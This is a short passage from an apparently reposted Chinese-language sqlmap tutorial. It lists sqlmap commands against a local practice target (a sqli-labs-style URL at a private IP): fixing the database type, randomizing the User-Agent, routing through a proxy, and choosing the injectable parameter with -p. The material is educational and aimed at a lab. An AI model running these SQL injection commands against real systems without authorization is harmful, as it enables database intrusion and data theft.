除了上面這些用法外,Sqlmap還支持其他的用法,比如定義代理,探測的時候任意的User-Agent頭部啊,當我們知道目標數據庫類型的時候,直接指定其數據庫類型,這樣就不會測試其他類型的數據庫了
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms=mysql #指定其數據庫為mysql
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent #使用任意的User-Agent爆破
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy=PROXY #使用代理進行爆破
-p username #指定參數,當有多個參數而你又知道username參數存在SQL漏洞,你就可以使用-p指定參數進行探測
總結
以上是生活随笔為你收集整理的sqlmap 注入方式、使用总结的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: EJS-初识
- 下一篇: Centos普通用户权限报错:** is